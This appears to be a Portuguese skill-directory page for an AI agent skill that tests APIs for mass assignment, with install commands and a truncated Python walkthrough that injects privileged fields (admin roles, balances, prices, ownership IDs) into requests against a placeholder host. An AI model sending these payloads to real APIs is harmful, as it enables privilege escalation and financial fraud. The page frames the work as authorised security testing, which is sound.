Pular para o conteúdo
Skillpedia
Testes35 mil · #6216

testing-api-for-mass-assignment-vulnerability

Ensina seu agente de IA a testar o código e achar erros antes dos usuários e proteger aplicações contra ataques.

O que ela faz

Esta ferramenta verifica se um site permite que usuários comuns alterem informações que deveriam ser restritas, como o nível de acesso (de usuário para administrador) ou o saldo de uma conta. Ela faz isso tentando inserir dados extras nas requisições enviadas ao site.

Quando usar

  • ✓Ao testar a segurança de um site que permite criar ou editar perfis de usuário.
  • ✓Quando você suspeita que usuários podem obter privilégios indevidos (como ser administrador).
  • ✓Ao verificar se o site impede que dados sensíveis sejam alterados por engano.

Exemplo do que pedir para a IA

“Verifique se o formulário de edição de perfil permite que eu mude meu 'nível de acesso' para 'administrador'.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia requisições para o site com dados adicionais que não deveriam ser permitidos. Ela observa se o site aceita e salva essas alterações, o que indicaria uma falha de segurança.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill testing-api-for-mass-assignment-vulnerability

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/testing-api-for-mass-assignment-vulnerability/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Testando API para Vulnerabilidade de Atribuição em Massa

Quando Usar

  • Testando endpoints de API que aceitam corpos de requisição JSON/XML para atualizações de perfil de usuário, registro ou criação de objetos
  • Avaliando se a API vincula todas as propriedades fornecidas pelo cliente ao modelo de dados sem uma lista de permissões (allowlist)
  • Verificando se os usuários podem definir atributos privilegiados (papel, permissões, preços, saldo) através de endpoints de atualização regulares
  • Testando APIs construídas com ORMs que vinculam automaticamente parâmetros de requisição a modelos de banco de dados
  • Validando se a validação de entrada do lado do servidor restringe propriedades graváveis por papel do usuário

Não use sem autorização por escrito. Testes de atribuição em massa envolvem a modificação de propriedades de objetos de maneiras potencialmente destrutivas.

Pré-requisitos

  • Autorização por escrito especificando os endpoints de API alvo e o escopo
  • Contas de teste em diferentes níveis de privilégio
  • Documentação da API ou especificação OpenAPI para identificar os campos de requisição esperados
  • Burp Suite Professional para interceptação de requisições e injeção de parâmetros
  • Python 3.10+ com a biblioteca requests
  • Conhecimento do framework backend (Rails, Django, Express, Spring) para prever o comportamento de vinculação de parâmetros

Fluxo de Trabalho

Passo 1: Identificar Endpoints Graváveis e Parâmetros Esperados

import requests
import json
import copy

BASE_URL = "https://target-api.example.com/api/v1"
user_headers = {"Authorization": "Bearer <user_token>", "Content-Type": "application/json"}

# Identify endpoints that accept write operations
writable_endpoints = [
    {"method": "POST", "path": "/users/register", "expected_fields": ["email", "password", "name"]},
    {"method": "PUT", "path": "/users/me", "expected_fields": ["name", "email", "avatar"]},
    {"method": "PATCH", "path": "/users/me", "expected_fields": ["name", "bio"]},
    {"method": "POST", "path": "/orders", "expected_fields": ["items", "shipping_address"]},
    {"method": "PUT", "path": "/orders/1001", "expected_fields": ["shipping_address"]},
    {"method": "POST", "path": "/products", "expected_fields": ["name", "description", "price"]},
    {"method": "POST", "path": "/comments", "expected_fields": ["body", "post_id"]},
    {"method": "PUT", "path": "/settings", "expected_fields": ["notifications", "language"]},
]

# First, get the current user state as baseline
baseline_user = requests.get(f"{BASE_URL}/users/me", headers=user_headers).json()
print(f"Baseline user state: {json.dumps(baseline_user, indent=2)}")

Passo 2: Injetar Campos Privilegiados

# Campos que nunca devem ser graváveis pelo usuário
CAMPOS_PRIVILEGIADOS = {
    "elevacao_papel": {"role": "admin", "user_role": "admin", "userRole": "admin",
                       "account_type": "admin", "accountType": "admin"},
    "flags_admin": {"is_admin": True, "isAdmin": True, "admin": True,
                    "is_superuser": True, "isSuperuser": True, "superuser": True},
    "substituicao_permissao": {"permissions": ["*"], "scopes": ["admin:*"],
                           "groups": ["administrators"], "roles": ["admin"]},
    "status_conta": {"is_active": True, "isActive": True, "verified": True,
                       "email_verified": True, "is_verified": True, "status": "active"},
    "financeiro": {"balance": 99999.99, "credit": 99999, "discount": 100,
                  "price": 0.01, "amount": 0.01},
    "propriedade": {"user_id": 1, "userId": 1, "owner_id": 1, "ownerId": 1,
                  "created_by": 1, "createdBy": 1},
    "interno": {"internal_notes": "test", "debug": True, "hidden": False,
                 "is_deleted": False, "is_featured": True, "priority": 0},
    "temporal": {"created_at": "2020-01-01", "updated_at": "2020-01-01",
                 "createdAt": "2020-01-01", "updatedAt": "2020-01-01"},
}

def test_atribuicao_em_massa(info_endpoint):
    """Testa um endpoint gravável para vulnerabilidades de atribuição em massa."""
    metodo = info_endpoint["method"]
    caminho = info_endpoint["path"]
    esperado = info_endpoint["expected_fields"]
    descobertas = []

    # Constrói uma requisição base válida
    corpo_base = {}
    for campo in esperado:
        if campo == "email":
            corpo_base[campo] = "test@example.com"
        elif campo == "password":
            corpo_base[campo] = "SecurePass123!"
        elif campo == "name":
            corpo_base[campo] = "Test User"
        elif campo == "items":
            corpo_base[campo] = [{"product_id": 1, "quantity": 1}]
        else:
            corpo_base[campo] = "test_value"


…
Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, é essencial ter autorização por escrito antes de testar qualquer site. Testar sem permissão pode ser ilegal e causar danos.

O que é 'mass assignment'?

É uma falha de segurança onde um site permite que um usuário modifique dados que não deveria ter acesso, como alterar seu próprio nível de permissão para administrador.

Quais são os pré-requisitos para usar esta ferramenta?

Você precisa de permissão escrita, contas de teste com diferentes níveis de acesso, documentação da API, e ferramentas como Burp Suite e Python.

Detalhes

Descrição original do autor

Tests APIs for mass assignment (auto-binding), OWASP API3:2023, by identifying writable endpoints, adding undocumented fields to request bodies (role, isAdmin, price, balance), and checking whether the server binds them to the data model without filtering. Use when testing an API for mass assignment, parameter binding abuse, or over-posting on profile, registration, or object-creation endpoints. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6216
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas